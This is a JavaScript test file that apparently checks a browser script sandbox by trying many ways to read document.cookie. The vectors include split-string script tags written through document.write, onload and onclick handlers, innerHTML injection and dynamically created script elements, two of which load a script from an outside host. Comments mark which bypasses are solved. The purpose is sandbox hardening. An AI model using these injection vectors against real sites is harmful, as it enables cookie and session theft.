// alert('normal way: ' + document.cookie);	// OK
//document.cookie='secret2=test2';
//alert('after reseting the cookie: ' + document.cookie);	// OK

//window["Narcissus"].interpreter.evaluate("alert(document.cookie);",{'cookie-read' : 'yes'});	// SOLVED
//var t=setTimeout("alert(document.cookie);",0);	// SOLVED

// USING window parent / possible fix: remove window.parent or make it unavailable in policy (also check other leaks)
// window.parent.eval("alert('via parent eval: ' + document.cookie)"); // FAIL
// window.parent["Narcissus"].interpreter.evaluate("alert('via parent narcissus: ' + document.cookie);",{'cookie-read' : 'yes'}); // FAIL

document.write("<p id='my_paragraph' onclick='alert(\"via onclick\" + document.cookie);'>Click me</p>");
document.write("<");
document.write("s");
document.write("criPt>");
document.write("alert('via document.write:' + document.cookie)");
document.write("</scriPt>"+"<script src='http://www.chiroliezele.be/sam/sandbox/js-tests/read-cookie-simple.js'/>");	// SOLVED

document.write("<img src='http://www.w3schools.com/images/w3schoolslogo.gif' Onload=\"alert('via docwrite img: ' + document.cookie);\"/>"); //SOLVED

document.appendChild(document.createElement('script').appendChild(document.createTextNode("alert('Andy: ' + document.cookie)")));
// By creating new script element tag
var s = document.getElementsByTagName('script')[0];
var script = document.createElement('script');
script.text = "alert('via createElement script text: ' + document.cookie);"
script.appendChild(document.createTextNode("alert('via createElement script appendChild: ' + document.cookie);"));
script.src = "http://www.chiroliezele.be/sam/sandbox/js-tests/read-cookie-simple.js";
script.onbeforescriptexecute = function(e){return true;} // SOLVED onbeforescriptexecution should be unchangable
s.parentNode.insertBefore(script, s); // SOLVED
//
// By creating new image element tag 
var g = document.createElement('img');
g.src="http://www.w3schools.com/images/w3schoolslogo.gif";
g.onload = function(){alert('via image onload: ' + document.cookie);};
document.body.appendChild(g); // OK
//
// By creating image via innerHTML with the onload event
var div = document.createElement('div');
div.id = "testdiv";
div.textContent="HALLO";
div.addEventListener('click', function(){ alert('onclick1: ' + document.cookie);}, false); // OK
div.onclick=Function("alert('onclick2: ' + document.cookie)"); // OK
div.innerHTML = "<img src='http://www.w3schools.com/images/w3schoolslogo.gif' onload=\"alert('via innerHTML: ' + document.cookie);\"/>";
document.body.appendChild(div); // FAIL
//
